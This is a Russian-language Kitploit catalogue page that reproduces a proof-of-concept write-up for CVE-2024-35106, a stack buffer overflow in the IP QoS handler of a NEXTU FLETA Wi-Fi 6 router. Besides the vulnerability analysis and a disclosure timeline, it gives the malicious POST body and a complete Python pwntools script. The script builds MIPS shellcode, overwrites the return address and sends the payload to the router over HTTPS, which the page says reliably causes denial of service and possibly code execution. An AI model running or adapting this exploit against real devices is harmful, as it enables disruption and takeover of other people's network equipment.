Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-35106-POC | Kitploit
Инструменты/GitHubGitHub/laskdjlaskdj12/cve-2024-35106-poc
Безопасность встроенных системБезопасность IoTЭксплуатацияШелл-кодЭксплуатация веб-приложенийБезопасность оборудования и IoTРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHublaskdjlaskdj12/cve-2024-35106-poc

CVE-2024-35106-POC

Репозиторий
1 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

NEXTU FLETA Wifi6 роутер: DoS, потенциальный RCE POC

В этом документе описывается, как была проведена эксплуатация уязвимости CVE-2024-35106 на Wi-Fi роутере EZNET FLETA.

Информация об уязвимости

[CVE ID] CVE-2024-35106

[Производитель продукта] NEXTU

[Продукт] FLATA AX1500 Wifi6 Router

[Версия] 1.0.3

[Тип уязвимости] Переполнение буфера

Среда выполнения

Роутер работает на архитектуре MIPS на базе чипсета Realtek и порядка байтов little-endian.
Версия прошивки роутера — v1.0.3.

В этом роутере используется встроенный веб-сервер Boa, последний релиз которого вышел в 2005 году. Однако этот роутер использует веб-сервер Boa для обслуживания административной веб-страницы, которая управляет прошивкой роутера.

Условия срабатывания уязвимости

Условия, необходимые для срабатывания уязвимости, следующие:

  1. Роутер должен находиться в заводском состоянии по умолчанию, или пользователь должен быть авторизован.
  2. Должно быть предварительно сохранено десять правил QoS.
  3. Перед выполнением эксплойта необходимо открыть страницу IP QoS (ip_qos.htm) через веб-интерфейс.

Место возникновения уязвимости

Переполнение буфера стека происходит из-за отсутствия проверки длины в байтах имени правила IP QoS при настройке QoS для внутреннего IP-адреса на странице администрирования роутера.

Когда параметры запроса настройки IP QoS передаются функции-обработчику formIpQoS веб-сервера Boa, обработчик извлекает длину в байтах параметра entry_name и копирует её в переменную acStack_1c0 с помощью функции strcpy(). Pasted image 20250207042056

В этой функции для копирования буфера используется функция strcpy без проверки размера буфера. Pasted image 20250207042120

Поскольку переменная acStack_1c0, в которой хранятся байты скопированного параметра entry_name, имеет фиксированный размер 16 байт, использование функции strcpy() — которая не ограничивает размер копируемых данных — приведёт к переполнению буфера. Pasted image 20250207042349

Pasted image 20250207042359

Процесс эксплуатации уязвимости

POST-запрос и параметры вектора атаки приведены ниже.

root@kitploit:~
POST /boafrm/formIpQoS  
  
BODY  
enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=[ADD ARBITRARY CODE AREA]

Злоумышленник готовит бинарные данные, содержащие две вещи: произвольный бинарный код и произвольный адрес, и помещает их в параметр entry_name POST-запроса.

Таким образом, RET-адрес, находящийся в памяти стека обработчика formIpQos, перезаписывается произвольным адресом из-за переполнения стека.

Pasted image 20250207042541 (0x7f8548cc — это RET-адрес стека обработчика formIpQoS)

Однако, поскольку функция-обработчик должна завершить своё выполнение штатно, заранее должно быть сохранено 10 наборов правил IP QoS. Pasted image 20250207042613

POC уязвимости

root@kitploit:~
from pwn import *  
from hackebds import *  
  
  
def shutdown_shell_code():  
    context.update(arch='mips', os='linux', bits=32, endian='little')  
  
    cmd = "/bin/sh"  
    args = ["autoreboot"]  
  
    asmcode = shellcraft.mips.linux.execve(cmd, args, 0) + shellcraft.mips.linux.exit()  
    shellcode = asm(asmcode)  
    return shellcode  
  
  
power_off_code = shutdown_shell_code()  
  
gap_code = (b'A') * 0x138

# This is the area that overwrites the RET region. You can place the address to which you want to redirect the execution flow.
# For example I fixed address as 0x7f854710
RET_address = (b'\x10\x47\x85\x7f')  
stack_gap = (b'C') * 0x40  
  
print("power_off_code_length")  
print(len(power_off_code))  
  
final_code = power_off_code + gap_code + RET_address + stack_gap  
  
import socket  
import ssl  
  
# Server Address and Port  
HOST = '192.168.1.254'  
PORT = 443  
  
# Create an SSL socket for HTTPS connection
context = ssl.create_default_context()  
context.set_ciphers('HIGH:!DH:!aNULL')  
context.check_hostname = False  
context.verify_mode = ssl.CERT_NONE  
  
with socket.create_connection((HOST, PORT)) as sock:  
    with context.wrap_socket(sock, server_hostname=HOST) as ssock:  
            # Prepare the shellcode as bytes (e.g., b'\x00\x01\x02'; replace with appropriate values for actual use)
  
        # parameter for evade verification  
        send_byte = b"enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=" + final_code  
  
        # POST request headers 
        headers = b"POST /boafrm/formIpQoS HTTP/1.1\r\n" \  
                  b"Host: " + HOST.encode('utf-8') + b"\r\n" \  
                                                     b"Content-Type: application/octet-stream\r\n" \  
                                                     b"Content-Length: " + str(len(send_byte)).encode(  
            'utf-8') + b"\r\nConnection: close\r\n\r\n"  
  
        # Send request (combine headers and body)  
        ssock.send(headers + send_byte)  
  
        # Receive response  
        response = b""  
        while True:  
            data = ssock.recv(1024)  
            if not data:  
                break  
            response += data  
  
            #Print response  
        print(response.decode('utf-8'))

Обратите внимание: выполнение этого POC для данной уязвимости гарантированно вызовет DoS. Однако произвольное удалённое выполнение кода может не произойти.

Влияние

Эта уязвимость может быть использована для DoS-атак и потенциальных RCE-атак.

Хронология

2024-05-16: Присвоен номер CVE — CVE-2024-35106
2024-05-16: Уязвимости сообщены производителям
2024-06-05: Получен ответ от производителей по уязвимостям

Обнаружил

Ku In Hoe

Помощь в регистрации этой уязвимости

Ассистент-профессор Seonghoon Jeong (Sookmyung Women’s University)

Скачать инструмент